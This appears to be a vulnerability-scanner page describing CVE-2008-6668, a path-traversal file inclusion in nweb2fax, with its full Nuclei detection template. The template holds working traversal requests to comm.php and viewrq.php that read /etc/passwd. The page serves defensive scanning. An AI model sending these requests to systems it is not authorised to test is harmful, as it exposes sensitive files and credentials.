CVE-2008-6668· dirk bartley / nweb2fax· CWE-22
nweb2fax <=0.2.7 - Local File Inclusion
mediumseverity
5CVSS score
14%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
Fix
Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
How to confirm it
Send: GET {{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd ; GET {{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2008-6668 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2008-6668
info:
name: nweb2fax <=0.2.7 - Local File Inclusion
author: geeknik
severity: medium
description: nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
remediation: |
Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/5856
- https://exchange.xforce.ibmcloud.com/vulnerabilities/43173
- https://nvd.nist.gov/vuln/detail/CVE-2008-6668
- https://exchange.xforce.ibmcloud.com/vulnerabilities/43172
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2008-6668
cwe-id: CWE-22
epss-score: 0.14041
epss-percentile: 0.96589
cpe: cpe:2.3:a:dirk_bartley:nweb2fax:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: dirk_bartley
product: nweb2fax
tags: cve,cve2008,nweb2fax,lfi,traversal,edb,dirk_bartley,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
- "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/5856
- https://exchange.xforce.ibmcloud.com/vulnerabilities/43173
- https://nvd.nist.gov/vuln/detail/CVE-2008-6668
- https://exchange.xforce.ibmcloud.com/vulnerabilities/43172
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from